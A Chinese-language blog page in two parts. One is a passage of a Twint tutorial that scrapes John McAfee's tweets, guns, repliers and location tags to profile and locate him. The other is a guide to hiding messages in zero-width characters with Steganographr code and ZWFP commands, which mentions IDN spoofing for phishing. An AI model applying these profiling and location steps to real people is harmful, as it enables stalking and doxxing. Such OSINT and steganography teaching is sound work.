「officialmcafee」 I was so stoned in that photo. I
remember tweeting that out . Can't recall why.
```

步骤4：找到历史证据

John McAfee 在推文中说他正逃离美国，这是最近的消息，他担心国税局计划起诉他。早些时候他还发推文说，很长一段时间没有提交纳税申报表了。

使用 **-s** 查找证据，以找到今年内发布的有关税收申报的所有推文。

```
sudo twint -u officialmcafee -s "tax return" --
since 2019-1-01
```

```
1080953136985133062 2019-01-03 14:24:45 PST
「officialmcafee」 I have not filed a tax return
for 8 years. Why? 1: taxation is illegal. 2: I
paid tens of millions already and received Jack
Shit in services. 3. I'm done making money. I live
off of cash from McAfee Inc. My net income is
negative. But i am a prime target for the IRS.
Here I am.
```

很好，我们的目标人承认八年不提交纳税申报表。假设您正在调查此案，将需要收集一些进一步的证据。

目标人是否还有其他关于逃税的声明？将它们收集在一个文本文件中，以供以后查看。

为此，我们将使用 **-o** 输出到文本文件，并使用更常规的方式搜索有关 “taxes” 的推文。

```
sudo twint -u officialmcafee -s "taxes" --since
2009-01-01 -o mcafeetax
```

```
1097243822143213568 2019-02-17 13:18:07 PST
「officialmcafee」 Yes. Income taxes are illegal.
1096836632672653312 2019-02-16 10:20:06 PST
「officialmcafee」 I had cataract surgery 6 months
ago and bright light still hurts my eyes. I will
not take them off for you my friend. And taxes are
unconstitutional. I will not pay. Why the fuck do
you? Where are your fucking balls?
1092592264164134913 2019-02-04 17:14:29 PST
「officialmcafee」 Good God woman!! We're running
from the fucking tax man. Why don't we just rename
```

our private sessions. I've always favored "Bring that God-like scepter here babe". 1091156545398804481 2019-01-31 18:09:27 PST 「officialmcafee」 It's all I could afford. The IRS taxed the remaining pixels. 1090719204687429634 2019-01-30 13:11:37 PST 「officialmcafee」 Lmfao Deal. But my $15 mil is locked up in a swiss account due to a Swiss tax assessment. If you give me the 2 mil to unlock it, I will send you the 15. Really. You can trust me. 1088992872890802178 2019-01-25 18:51:48 PST 「officialmcafee」 The IRS survived withoit income tax for over a hundred years. Furst showed up during the civil War 1088462380051369985 2019-01-24 07:43:48 PST 「officialmcafee」 tltorally wrong. . Get real. It isn't a crime not to file taxes. Grand Juries aren't convened for failure to pay taxes. And if you believe taxes are good, you have purchased our government's propaganda. You are way worse off than me. We had no taxes before the Cuvil War. 1082710638365835264 2019-01-08 10:48:26 PST 「officialmcafee」 Good God!!!! Educate yourself! Thr U.S. had no income tax at all, with the exception of the Civil War, until 1913. We fucking did fine. This is what Im talking about. People are buying Government propaganda and eating it up. We font need income taxes. 1082709806031368192 2019-01-08 10:45:08 PST 「officialmcafee」 I have paid tens of millions in taxes in the past. Dont dare talk to me abour "orher tax payers". 1081582572461834240 2019-01-05 08:05:54 PST 「officialmcafee」 Income taxes are unconstitutional. That's my beef. You may not mind being controlled by a corrupt givernment but i do 1081309939841286144 2019-01-04 14:02:34 PST 「officialmcafee」 We declared our independence from Britain and fought a bloody war to escape burdensome taxes, yet here we are, less than 250 years later, being burdened by income taxes that are more crushing than anythung rhe British

dreamed of. Free yourselves people! https://www.ccn.com/crypto-shill-john-mcafee-i-havent-filed-a-tax-return-in-8-years/ … 1081122728005066752 2019-01-04 01:38:39 PST 「officialmcafee」 Fox News reported that i don't pay taxes. The IRS is angry (and corrupt). They will strike using law, twisted by 'their' facts, as a club. My offense is small and won't do. inferences of conspiracy or foreign collusion, or something, will come. I promise. https://www.foxnews.com/us/john-mcafee-trashes-irs-in-series-of-tweets … 1081019828658495488 2019-01-03 18:49:46 PST 「officialmcafee」 We had no income tax in the U.S. prior to the Civil War. There are uncountable alternativrs. Look it up and educate yourself. 1081017561695903744 2019-01-03 18:40:45 PST 「officialmcafee」 No sir. We had no income taxes prior to the Civil War and yet we were a world powet. There are thousands of ways to fund a givernment besides income taxes. Pay for service is one way: pay for road use by mileage, pay to access National parks, etc., 1080988662077247488 2019-01-03 16:45:55 PST 「officialmcafee」 My Crypto goals drive the IRS mad. Privacy coins will obsolete income taxes. Can't tax money you cant see, and I promote this as a good thing. The SEC is legally failing in their power grab so It's up to the IRS now to silence me. I've called them out. They will come. You'll see. 1080953136985133062 2019-01-03 14:24:45 PST 「officialmcafee」 I have not filed a tax return for 8 years. Why? 1: taxation is illegal. 2: I paid tens of millions already and received Jack Shit in services. 3. I'm done making money. I live off of cash from McAfee Inc. My net income is negative. But i am a prime target for the IRS. Here I am. 1080854344331939840 2019-01-03 07:52:11 PST 「officialmcafee」 I'm done trashing the SEC. Let's move on to the IRS - the agency that takes from you an average of three months of your labor

each year. First - taxation is theft. It is unconstitutional. Prior to the civil war there was no income tax, yet we managed. Stay tuned for the truth. 1071899943680512001 2018-12-09 14:50:36 PST 「officialmcafee」 And that does'n happen to me constantly??? But ask-- who do the Feds work for? Me, as much as anybody since I've paid the Feds, through taxes, hundreds of millions of dollars for services I have never received. Every Fed burstung through the door will get a "Past Due" notice 1033463922735624193 2018-08-25 14:19:34 PST 「officialmcafee」 I have made enough in my lifetime to have paid over a quarter of a billion dollars in taxes. I do not have to account for my money anymore. Some of the dollars I spend, are from the millions I made in 1987, never mind the hundreds of millions over the subsequent 10 years. 997495042347622400 2018-05-18 08:12:05 PST 「officialmcafee」 The SEC created a fake ICO called the Howeycoin, where the "Buy" button takes you to a page which discourages the purchase of cryptocurrencies. This is where your tax dollars are going - into deception, subterfuge and a desperate attempt to save the SEC. https://www.howeycoins.com/index.html#team 951689398135001089 2018-01-11 21:36:48 PST 「officialmcafee」 Tax writeoffs. 947326031890911233 2017-12-30 20:38:21 PST 「officialmcafee」 When I follow someone, God gives them a new Bentley Azure. Tax free. 947325176701706241 2017-12-30 20:34:57 PST 「officialmcafee」 When I follow someone God himself comes down and gives them a Bentley Azure. Tax free. It used to be Ford Focus. Don't know why the upgrade. 947007111011151872 2017-12-29 23:31:04 PST 「officialmcafee」 As I said earlier ..... When I follow someone God himself comes down and gives them a new Bentley Azure ..... Tax free. 947005611253919744 2017-12-29 23:25:06 PST 「officialmcafee」 I did. But I don't believe your

```
name is Tom. You realize, of course, that when I
follow people, God himself comes down and blesses
them - giving each of them a Bentley Azure - tax
free. 939924816664121345 2017-12-10 10:28:33 PST
「officialmcafee」 Good God! Do I have to spell it
out? Well ... No taxes, no regulatory problems, no
traceable income, no tax accountant costs,
etc,etc,etc 644436140183973888 2015-09-17 02:02:03
PST 「officialmcafee」 My policies now posted
https://mcafee16.com/issues/ #ForeignPolicy #drugs
#immigrants #tax #educate #economy #cyber +more
pic.twitter.com/ugCnhKEBsL
```

哇哦，看起来他真的很讨厌税收。现在有了一个名为 “mcafeetax” 的文件，其中包含刚刚刮到的所有有关税收的推文。

如果是执法机构，可能会好奇是否可以与目标交谈一下，万一对方是全副武装的呢？也许 Twitter 可以回答这个问题！

步骤**5**：导出证据和元数据

来看看是否可以找到过去一年中有关枪支（武装）的任何推文。实际上，尝试查找目标在帖子中某处提到“枪支”的图像也可以。

为此，添加 **-media**，以表示只希望查看包含照片或视频等媒体的帖子。

接下来，将找到的证据保存到名为 “mcafeeguns” 的CSV文件中。

```
sudo twint -u officialmcafee -s "gun" --since
2018-01-01 --media -o mcafeeguns --csv
```

```
1071009885645627392 2018-12-07 03:53:49 PST
「officialmcafee」 U jumped the gun when I divulged
the Skycoin video that someone shot during the
week of revelry at my place. Seems there is a
remix now. Great improvements plus without the
shot of Hayden with his dick hanging out. (link:
https://youtu.be/R5q7_UWKcDg ) http://youtu.be/
R5q7_UWKcDg 1022223220861272067 2018-07-25
13:53:02 PST 「officialmcafee」 ANTI-GUN FOLK: READ
```

NO FURTHER. Now -- guns don't kill people. Bullets kill people. And if you want to kill people with a handgun, no bullet beats the FN-57. High velocity, flat trajectory, tumbles on impact, making massive exit wounds. I urge all all if my security to use it. pic.twitter.com/P5hu2Hfur6 1007413614205120512 2018-06-14 17:04:57 PST 「officialmcafee」 This look like a water gun? pic.twitter.com/VKoh01GuCg 1000389938200895489 2018-05-26 07:55:22 PST 「officialmcafee」 About my guns pic.twitter.com/MIwq5K6amN 999482149190492160 2018-05-23 19:48:08 PST 「officialmcafee」 Bull shit. When am I not holding guns or surrounded by guards pic.twitter.com/fawZh7gBRv 999480884003786752 2018-05-23 19:43:06 PST 「officialmcafee」 When am I not in a photo with guns and guards? pic.twitter.com/iNC343Yq5I 971322857363005440 2018-03-07 01:53:10 PST 「officialmcafee」 You ask -- Why do I have guns? Dateline: Amy confesses to trying to kill me: http://www.nbcnews.com/video/dateline/50515302 … Newsweek: Wife confesses to cooperating with Cartel: http://www.newsweek.com/topic/john-mcafee … USA Today: War with Cartel: https://www.google.com/amp/s/amp.usatoday.com/amp/21712017 … Google: Tons of stories. Any questions? pic.twitter.com/ODSm4wHz1K 965249086562734080 2018-02-18 07:38:10 PST 「officialmcafee」 People asked why I have guns in the corner of my previous post. Anyone want to explain why we have the right to bear arms in America? pic.twitter.com/NtT2Fg9qnq

在生成的 CSV 文件中，还可以访问有关每个帖子的许多元数据。

「图」

「图」

可以看到找到的每个图像都被提取了。单击一个，可以立即看到，是的，目标确实装备良好 .....

「图」

「图」

枪支的图像有很多，但在调查过程中其中一个可能特别需要注意。

在本年内发布的另一张带有“枪支”标签的照片中，在一只FN57式手枪前面，目标人摆出了一个5.7×28mm的子弹。

这种特殊的手枪是一种不寻常的模型，具有很高的速度可以击穿防弹衣。

通常这种枪很难找到，因为它们被禁止进口。

仔细看这张照片，那枚子弹的顶端是黑色的，这表明它是穿甲弹。

「图」

「图」

Image by officialmcafee/Twitter

SS190子弹具有穿透力，这意味着任何试图接近目标人的执法人员都不应依靠软体防弹衣来确保安全。

只通过 Twint 的一次搜索，不仅确定了嫌疑犯的武装状况，而且还确定他可以使用的特殊类型的弹药。

步骤**6**：收集实时数据

Twint 的优点是提取信息。通过结合地理位置和主题标志，可以指定只希望看到有关此区域中某些主题的帖子。

假设你听到警察在街上突袭，想要更多信息。可以搜索在洛杉矶附近标记的帖子，例如，搜索诸如“被捕”或“ LAPD”之类的关键字，来定位正在发生的事件相关的图像。

```
sudo twint --verified -s "arrested" --near 'Los
Angeles' --since 2019-02-17 --images
```

```
1097368136293208064 2019-02-17 21:32:06 PST
「KTLAMorningNews」 Suspected DUI Driver Arrested
in Deadly Hit-and-Run Crash in South-Central L.A.
```

```
Caught on Video http://bit.ly/2SJbRGO
pic.twitter.com/T2EYC0OtRB 1097353829375463425
2019-02-17 20:35:15 PST 「KTLA」 Yucaipa Father
Arrested in Death of 6-Month-Old Baby Girl http://
bit.ly/2SF1Ydx pic.twitter.com/O8Sd0k9wLt
```

如果要搜索视频证据，则可以修改命令以搜索视频类型的内容。在这里，搜索提及“LAPD”会产生一个视频，显示最近一次致命的警察追捕行动的结束。

```
sudo twint --verified -s "LAPD" --near 'Los
Angeles' --since 2019-02-17 --videos
```

```
1097300577447378944 2019-02-17 17:03:39 PST
「KevinTakumi」 Fatal #crash #Chatsworth LAFD/LAPD
on scene 2 car crash DeSoto/Plummer 2 transported
to hospital 2 dead on scene, investigation ongoing
long term @FOXLA pic.twitter.com/srlUTlgtdF
1097264275586871296 2019-02-17 14:39:24 PST
「LAPDHQ」 Our city might not be perfect, but it
has life — it has culture. It’s our privilege to
be able to serve and protect the City of Angels.
pic.twitter.com/yqXWyIIq8w
```

现在开始应用将实时数据提取到我们的搜索中的功能。目标人的支持者是谁？

使用 **-to** 创建一个发推提及该帐户的所有人的CSV文件，以便您也许会找到能够提供帮助的人、或通过发照片或打招呼显示与目标有交互的人，并对其审核。

```
sudo twint --to officialmcafee --since 2019-01-01
-s help -o mcafeecontacts --csv
```

```
1097503235684864000 2019-02-18 06:28:56 PST
「FlyCryptoGuy」 Which side defends the bees? Bees
die, man dies. Why don't you support #Buzzcoin
bro? Help mankind. Save the damn bees. It's easy
to throw insults, start throwing solutions. Thank
you sir. 1097356068164898816 2019-02-17 20:44:09
PST 「SkepticalMinded」 Well said, the labels that
```

hold people back as a true progressive society, are the same labels that help those same people feel belonged and validated. So in other words fuck what people think and be yourself. 1097280716466020353 2019-02-17 15:44:43 PST 「BitcoinGhost1」 I'm in Germany, put me in mind and I'll be ready to help.

打开CSV文件可以看到其中充满了对目标的最新答复，其中许多都提供了支持。

「图」

「图」

太好了，到目前为止，调查表明目标是一个拥有许多支持者的全副武装的、不悔改的逃税者，这对任何执法机构来说都是 “充分的情报”。

步骤**7**：通过其他搜索进一步挖掘

假设您现在想了解有关目标在宣布逃税之前如何隐藏其资金的任何线索。

因为目标人此前已经发表了许多关于税收的陈述，所以作为追踪者，可以使用 **-year** 查找在此之前所作出的陈述。

我们对关键字 “taxes”或“tax”感兴趣，因此可以使用以下命令来构造 Twint 搜索，以搜索2018年之前发布的关于税款的任何帖子。

```
sudo twint -u officialmcafee -s taxes --year 2018
```

947326031890911233 2017-12-30 20:38:21 PST 「officialmcafee」 When I follow someone, God gives them a new Bentley Azure. Tax free. 947325176701706241 2017-12-30 20:34:57 PST 「officialmcafee」 When I follow someone God himself comes down and gives them a Bentley Azure. Tax free. It used to be Ford Focus. Don't know why the upgrade. 947007111011151872 2017-12-29 23:31:04 PST 「officialmcafee」 As I said earlier ..... When I follow someone God himself comes down and gives them a new Bentley Azure ..... Tax free.

947005611253919744 2017-12-29 23:25:06 PST 「officialmcafee」 I did. But I don't believe your name is Tom. You realize, of course, that when I follow people, God himself comes down and blesses them - giving each of them a Bentley Azure - tax free. 939924816664121345 2017-12-10 10:28:33 PST 「officialmcafee」 Good God! Do I have to spell it out? Well ... No taxes, no regulatory problems, no traceable income, no tax accountant costs, etc,etc,etc 644436140183973888 2015-09-17 02:02:03 PST 「officialmcafee」 My policies now posted https://mcafee16.com/issues/ #ForeignPolicy #drugs #immigrants #tax #educate #economy #cyber +more pic.twitter.com/ugCnhKEBsL

目标似乎发表了关于将钱隐藏在加密货币中的声明。

知道犯罪嫌疑人正在逃亡中，追踪者可以对任何公开发布推文给目标并提供支持的人，进行重点搜索。

为此，使用 **-to** 搜索任何与目标交互的用户，并使用 **-phone** 搜索可能包含联系信息的任何推文。

您还可以通过搜索他们上周（也就是最近）发布的行踪照片或视频，以尝试找到他所在的位置。

使用 **-location** 仅刮取带有位置标签的推文，可以从中拉出任何包含媒体的推文，这些推文可能会让您看到近期目标所在位置的线索。

```
sudo twint -u officialmcafee --location --since
2019-2-10 --media
```

1096942869091356674 2019-02-16 17:22:14 PST 「officialmcafee」 pic.twitter.com/vbtdCI6ULP | Location House McAfee 1096932395012554754 2019-02-16 16:40:37 PST 「officialmcafee」 Back at the third floor of the "compound". We are just mellowing out after a day of speeding between islands in my first test of our tender (Moored alongside) pic.twitter.com/sd0ix15MPB | Location House McAfee 1096929852056395776 2019-02-16

16:30:31 PST 「officialmcafee」 Here is the third floor of our "Compound" right now. The "dingy" is moored alongside. pic.twitter.com/UCnRn3AoJX | Location House McAfee 1096915137087320064 2019-02-16 15:32:03 PST 「officialmcafee」 A boring video. But Rick took it. He's proud of it. He asked me to tweet it. I just did. He is outside of social media however, so I can dis him in this (for him) alternate universe, while I truly love him in that universe which, for me at this moment time, is alternate. pic.twitter.com/yXPdGF3oW1 | Location House McAfee 1096635092393517056 2019-02-15 20:59:15 PST 「officialmcafee」 Rick caught me with my harmonica attempting to regain favor with IT guy. He was way out of my league. pic.twitter.com/5HZxPKwyf8 | Location House McAfee 1096614989857738752 2019-02-15 19:39:22 PST 「officialmcafee」 Holy FUCK!!! My Bahamian IT guy -- whom I judged to be the dweebyest person on earth -- shows up in the band I hired for Choppy's bar for the weekend. People -- never judge. The IT guy is the sax player. pic.twitter.com/e0KW6fWIbY | Location House McAfee

第一个结果是一个视频，该视频显示了目标人驾驶一艘船经过一系列岛屿的画面。

在前一天的另一条推文中，目标人员在巴哈马一个城市乔治敦的一家酒吧的自拍。

所以，根据过去几天内在 Twitter 上发布的照片和视频显示，目标是在巴哈马乔治敦海岸附近的一艘船上。

Twitter 使开源情报追踪变得更容易

在本案例的场景中，作为一名初级国税局特工，您的第一次审计发现，目标是出没在加勒比海岛屿附近全副武装的逃税者。于是就可以利用1994年9月22日巴哈马与美国之间生效的引渡条约。

这就是条子的思考方式。

这里想说的是，无论调查的类型如何，来自社交媒体的数据都可以通过提供看似无穷无尽的信息流来丰富您对事件的理解。

从研究用户之间的交互作用、到通过话题标签连接的内容系列找到对同一情况的替代观点，社交媒体上共享的信息应成为任何开源情报调查人员工具包的一部分。

⚠再一次强调：如果您想要的是免追踪、和避免成为条子的目标，您应该能通过这些演示观察到追踪者普遍的思考方式，从而有效地防御 —— 什么东西不应该在推特说，什么样的人际关系不应该在任何公开平台呈现，等等。

- 《你不应该在社交媒体上说的话》
- 检查一下自己的漏洞《社交媒体情报和反情报基本工具手册：自我人肉（2）》

以上是给普通人的，而不是 John McAfee；事实上他已经很聪明了，他公开发布的内容没有导致他被捕 —— 比如在远离此地之后很久才开始发布照片等等，这些小技巧都好用。

以 McAfee 做例子仅仅为演示追踪的基本过程，而非任何立场。

最后，请注意，您还记得 McAfee 是怎么被抓到的吗？是的，被一个愚蠢的记者出卖了，您可以在这里回顾《无处可藏的数字足迹—亦正亦邪元数据 (上篇)》。

所以，⚠您不仅需要对社交媒体情报的细致防御，还需要注意出现在您身边的所有人 —— 他们都应该具备与您保持一致的高水平的安全意识，否则，他们中任何人都可能出卖你。

好了就是这样。本文的目标依旧是演示追踪技术，为民间调查人员提供参考。希望对您有用。〇

广告

原文

AS48 如何在文本中隐藏秘密消息 – 不是在图片和音频中，是在文本中：隐写术（3） - iyouport

护盾（AS）

【2020年9月17日存档】从传递秘密消息到数字化的金丝雀陷阱

---

from peterdevito

如果您错过了关于隐写术的早前内容，可以在下面回顾：

- 《隐写术的小心机（1）》
- 《使用隐写术发送秘密消息（2）简易教程》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》

如上，您已经学到了如何在图像和音频中隐藏秘密消息的方法，但这还不是隐写术的全部。

使用零宽度字符，您可以将秘密信息隐藏在纯文本内部，从而更安全地传递秘密消息；绕避关键字审查。甚至可以弄清楚谁在网上泄漏文件。一定程度上这对吹哨人不利。

Unicode 是文本的标准化编码格式，特别是UTF-8，大多数Web浏览器都使用 Unicode。因为 Unicode 需要支持世界上几乎所有书面语言，所以存在一些违反直觉的字符，例如零宽度不连接符和零宽空格。例如前者在波斯语中使用，因为需要显示正确的印刷体形式。

「图」

于是您可以使用零宽度字符在任何未对零宽度字符做过滤的网页内插入不可见的隐形文本。

这个思路是选择两个任意的零宽度字符并将它们指定为1和0，然后将任何消息拆分为单个字符，然后以零宽度字符（分别为1和0）将其编

码为二进制形式，从而将其隐藏在纯文本中。

最佳实践是在单词之间的空格中添加零宽度二进制码。否则，拼写检查倾向于认为该单词拼写错误。

```
Plain text, nothing to see here
```

要查看隐藏了什么，复制这个文本 “plain text”，把它贴到这个工具上 online zero-width detention tool 上即可。

您可以用它来做什么？

「图」

在普通的文本中隐藏信息的能力本身就非常有用，您可以传输机密信息在队友之间、或者简单地绕避关键字审查，比如在微信上。但使这种技术真正精妙的是，它能在重新格式化后存活下来，并且，无论文本被复制粘贴到哪里，秘密消息都能携带。隐藏的字符在 nano 等文本编辑器中都不会暴露。

这应该是秘密通信的首选方式。

你可以使用经典的间谍伎倆，在公共空间发布一篇文章、或某种类型的文本文档。例如，你可以在 Craigslist 广告中隐藏一条秘密信息，然后让一个单独的接收者或一群合作者定期检查当地的 Craigslist 广告，寻找特定的关键词。他们会知道如何检查其中是否存在隐藏的秘密信息。

当必须确保两个接头人之间没有直接的联系时，这是一种交换信息的有益方法。一个灾难案例 …… 当事人也许可以事先通过隐写术处理这则消息

稍微古老一点的用例是传统的金丝雀陷阱。如果您曾经读过任何神秘小说，那肯定能对这种陷阱的工作方式很熟悉。这是一种侦测情报泄露的方法，就是故意将不同版本的机密情报泄露给嫌疑人，然后观察信息的走向以判断泄密者究竟是谁。根据版本，您会知道哪个人泄漏了信息。

这是一种很经典的手段。众所周知，国会助理通过在提供给其他办公室和游说者的文件中故意使用拼写错误的单词或其他小的语法错误来泄露数据。

但是这样做的问题是，如果有人能掌握两个不同的版本，他们马上就会知道你要干什么了。这种情况下零宽度字符就可以派上用场了。

通过使用零宽度字符，一般人即使掌握了两个不同版本的文档或文本，也不太可能注意到那里面藏着什么；当然，如果有人通过截图或用打印机复印以泄漏信息，同样会被抓住。对于吹哨人来说，这是非常危险的 —— EXIF数据会直接指向你的设备，以及许多打印机采用的微点，这些微点可以唯一地识别打印的东西。

最后，零宽度字符可以用来改变 **URL**。不幸的是由于ICANN的规定，你不能注册一个零宽度字符的域名。不过，在本地网络的IDN欺骗中，它是相当有用的 —— IDN欺骗是钓鱼式攻击的手法之一。它利用国际化域名可以以 Unicode 字符命名网址的特性，通过同形异义字实现诱骗点击。

它也可以只用来破坏一个URL。下面是 GitHub URL 的例子。

```
https://github.com/holdTheDoorHoid https://
github.com/holdTheDoorHoid
```

它俩看起来可能完全相同，但是，第二个链接在 “hold” 之后使用了零宽度字符，这会阻止其正常工作 —— 这个链接是打不开的。

下面介绍一下如何实际使用这种技术。

使用真实加密以提高安全性

「图」

必须首先强调这点：如果您想要保证自己的信息安全，仅仅将信息编码成零宽度二进制码是不足以加密的。任何人只要有合适的程序，就可以轻松破译您的秘密信息。

您真正应该使用的是对称或非对称加密方案。如果只有一个目标人是预期的接收者，那么像PGP这样的非对称加密方案将最有效。但如果信息接收者是一群人，可能要使用对称加密。

它是基于这样的原理，即：几乎没有人会在秘密空间中寻找秘密。

也就是说，与其使用PGP加密零宽度的消息，不如在PGP加密的邮件中使用零宽度字符作为额外的验证层。

你可以使用两种方式来做到这点。

第一种方式是一封普通的邮件正文，而实际的信息隐藏在零宽度中。

另一种方式是，在第一句中隐藏特定的代码字，然后让响应者在他们的第一句中使用该代码字或一个响应代码字。

显然第二种策略更好。因为如果有人确实掌握了与您接头的人的PGP密钥，那么他们极有可能会想要寻找零宽度字符，当对方没有使用正确的代码字回应时，您就可以立即预知到危险。

选项1：在线直接创建零宽度消息

「图」

要开始发送零宽度信息，打开 Steganographr 页面，在 “私密信息” 字段中粘贴您的（可以是加密的）信息，在 “公开信息” 字段中粘贴一个极为普通的或完全不重要的信息，然后点击 “Steganographize”。

然后，您将能够复制新生成的消息并按需进行处理。只需将其复制并粘贴，它仍将完整保留隐藏在其中的秘密消息。

当接头的人需要显示隐秘消息时，同样可以使用 Steganographr。滚动到底部，将文本粘贴到 “公开私密消息” 的字段中，然后单击 “Desteganographize”。

但是，这里的一个问题是，我们必须相信该网站不会保存这些消息或借此伤害你。幸运的是，**Steganographr 开源**，因此您可以简单地将其复制并托管在自己的网站上。

尤其是，您可以编辑源码。要进行更改只需要将十六进制值更改为所需的新字符即可。

```
// Convert the ones, zeros, and spaces of the
hidden binary data to their respective zero-width
characters function bin2hidden($str) { $str =
str_replace(' ', "\xE2\x81\xA0", $str); // Unicode
Character 'WORD JOINER' (U+2060) 0xE2 0x81 0xA0
$str = str_replace('0', "\xE2\x80\x8B", $str); //
Unicode Character 'ZERO WIDTH SPACE' (U+200B) 0xE2
```

```
0x80 0x8B $str = str_replace('1', "\xE2\x80\x8C", $str); // Unicode Character 'ZERO WIDTH NON-JOINER' (U+200C) 0xE2 0x80 0x8C return $str; } // Convert zero-width characters to hidden binary data function hidden2bin($str) { $str = str_replace("\xE2\x81\xA0", ' ', $str); // Unicode Character 'WORD JOINER' (U+2060) 0xE2 0x81 0xA0 $str = str_replace("\xE2\x80\x8B", '0', $str); // Unicode Character 'ZERO WIDTH SPACE' (U+200B) 0xE2 0x80 0x8B $str = str_replace("\xE2\x80\x8C", '1', $str); // Unicode Character 'ZERO WIDTH NON-JOINER' (U+200C) 0xE2 0x80 0x8C return $str; }
```

以下是有用的零宽度字符及其十六进制代码的列表。

- MONGOLIAN VOWEL SEPARATOR \xE1 \xA0 \x8E
- ZERO-WIDTH SPACE \xE2 \x80 \x8B
- ZERO-WIDTH NON-JOINER \xE2 \x80 \x8C
- ZERO-WIDTH JOINER \xE2 \x80 \x8D
- LEFT-TO-RIGHT MARK \xE2 \x80 \x8E
- RIGHT-TO-LEFT MARK \xE2 \x80 \x8F
- ZERO-WIDTH NO-BREAK SPACE \xEF \xBB \xBF

例如，要从零宽度不连接符更改为蒙古语元音分隔符，就像这样替换：

```
str_replace('1', "\xE1\xA0\x8E", $str)
```

确保在两边都以相同的方式更改字符的十六进制编码。这样它就可以适当地编码和解码了。

选项2：从命令行创建零宽度消息

「图」

每次要发送和解码消息时都需要打开网页这可能会很烦人，特别是如果您经常这样做的话。

幸运的是，有人已经在GitHub上创建了一个名为 ZWFP 的工具，用于对零宽度消息进行编码，并且该工具可从命令行运行，很便捷。

但是要注意的一件事是，您将无法轻松更改用于零宽度二进制文件的字符。只要事先加密您的消息，实际上就没有什么可担心的。

尤其要注意，在发送和接收消息的双方，不可能一个人用网站编码，另一个人用命令行解码，反之亦然。您必须确保双方使用的是同一种方式来编码和解码。

开始之前请确保您的计算机上安装了Go编程语言。如果还没有，可以访问Go的下载页面，该网站还有详细的安装说明，如果您是第一次使用Go，不要跳过说明，因为您需要改变PATH环境变量。

安装Go之后，您可以从工作目录中获取 ZWFP 的 GitHub 存储库。

```
~/go$ go get -u github.com/vedhavyas/zwfp/cmd/
zwfp/...
```

这些文件非常小，几乎可以在您按完Enter之前就下载完毕。除了新的命令提示符外这里没有任何迹象表明下载成功，但它应该就在那里了。现在，移至 “zwfp”文件夹，然后构建该工具。

```
~/go$ cd /go/src/github.com/vedhavyas/zwfp/cmd/
zwfp ~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$
go build
```

再一次，除了一个新的命令提示符外没有任何提示。从这里开始，运行测试工具。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ go
test ./... ? github.com/vedhavyas/zwfp/cmd/zwfp
[no test files]
```

现在来看看如何使用ZWFP。不幸的是，它的使用说明非常模糊，因此更深入地研究下使用该工具的正确方法。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ ./
zwfp Usage: ./zwfp CoverText Payload Embeds
Payload into CoverText ./zwfp SteganoText Extracts
Payload from SteganoText
```

首先，使用两个参数利用ZWFP对消息进行编码。一个是看起来很普通的表面消息，每个人都会看到的公开信息，然后是隐藏的消息。

如果我们希望 “ CoverText” 作为表面文本，而 “Payload” 作为隐藏消息，那么它看起来像这样：

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ ./
zwfp CoverText Payload CoverText
```

但是您肯定需要将其保存在一个文件中，无论如何。因此，来尝试一下使用不同的表面文字和隐藏文字。

继续：将 “You see this right?” 作为表面消息，将 “But this is a hidden message in that text.” 作为隐藏文字（如果每个参数使用多个单词，那么必须用引号将它们包起来）

然后，将其保存到 / Desktop 目录中的新文件中。对于此示例它将是一个新的 “secret.txt” 文件。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ ./
zwfp "You see this right?" "But this is a hidden
message in that text." 」 /home/kali/Desktop/
secret.txt
```

使用 nano 查看这个文本文件。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ nano
/home/kali/Desktop/secret.txt GNU nano 4.9.2 /
home/kali/Desktop/secret.txt You see this right? [
Read 1 line ] ^G Get Help ^O Write Out ^W Where Is
^K Cut Text ^J Justify ^C Cur Pos ^X Exit ^R Read
File ^\ Replace ^U Paste Text ^T To Spell ^_ Go To
Line
```

很好，表面文字清晰可见。现在尝试看一下里面隐藏着什么。

为此，可以使用 vim 查看隐藏的字符。正如您在下面看到的，它与nano的显示有很大不同。输入 **:qa** 并按 Enter 退出vim。

ZWFP的用法并没有告诉您如何解码消息。为此 **cat** 这个文件，然后使用 **xargs -0** 查看隐藏的内容。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ cat /
home/kali/Desktop/secret.txt | xargs -0 ./zwfp
Cover Text: You see this right? Payload: But this
```

is a hidden message in that text.

要知道 xargs -0 做了什么，查看 xargs手册页的部分。

~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ man xargs XARGS(1) General Commands Manual XARGS(1) NAME xargs - build and execute command lines from standard input SYNOPSIS xargs [options] [command [initial-arguments]] DESCRIPTION This manual page documents the GNU version of xargs. xargs reads items from the standard input, delimited by blanks (which can be protected with double or single quotes or a backslash) or newlines, and executes the command (default is /bin/echo) one or more times with any initial-argu- ments followed by items read from standard input. Blank lines on the standard input are ignored. The command line for command is built up until it reaches a system-de- fined limit (unless the -n and -L options are used). The specified com- mand will be invoked as many times as necessary to use up the list of in- put items. In general, there will be many fewer invocations of command than there were items in the input. This will normally have significant performance benefits. Some commands can usefully be executed in parallel too; see the -P option. Because Unix filenames can contain blanks and newlines, this default be- haviour is often problematic; filenames containing blanks and/or newlines are incorrectly processed by xargs. In these situations it is better to use the -0 option, which prevents such problems. When using this option you will need to ensure that the program which produces the input for xargs also uses a null character as a separator. If that program is GNU find for example, the -print0 option does this for you. If any invocation of the command exits with a status of 255, xargs will stop immediately without reading any further input. An error message is issued on stderr when

```
this happens. OPTIONS -0, --null Input items are
terminated by a null character instead of by
whitespace, and the quotes and backslash are not
special (every character is taken literally).
Disables the end of file string, which is treated
like any other argument. Useful when input items
might contain white space, quote marks, or
backslashes. The GNU find -print0 option produces
input suitable for this mode.
```

使用 Chrome 扩展程序显示零宽度字符

「图」

如果您想保护自己不受零宽度字符的侵害，最好的方法是使用一个简单的Chrome浏览器扩展程序。该扩展会将零宽度字符替换为各种表情符号。

转到 Chrome 网上应用商店，然后在浏览器中添加 “Replace zero-width characters with emojis”。之后重新启动 Chrome。

「图」

不幸的是，该扩展程序不会自动运行，因此当您怀疑或好奇的时候需要手动检查每个页面。

要运行该扩展程序，请单击其在浏览器栏右侧的按钮（灰色正方形内的 “ R”），然后单击 “Show me the $!”。

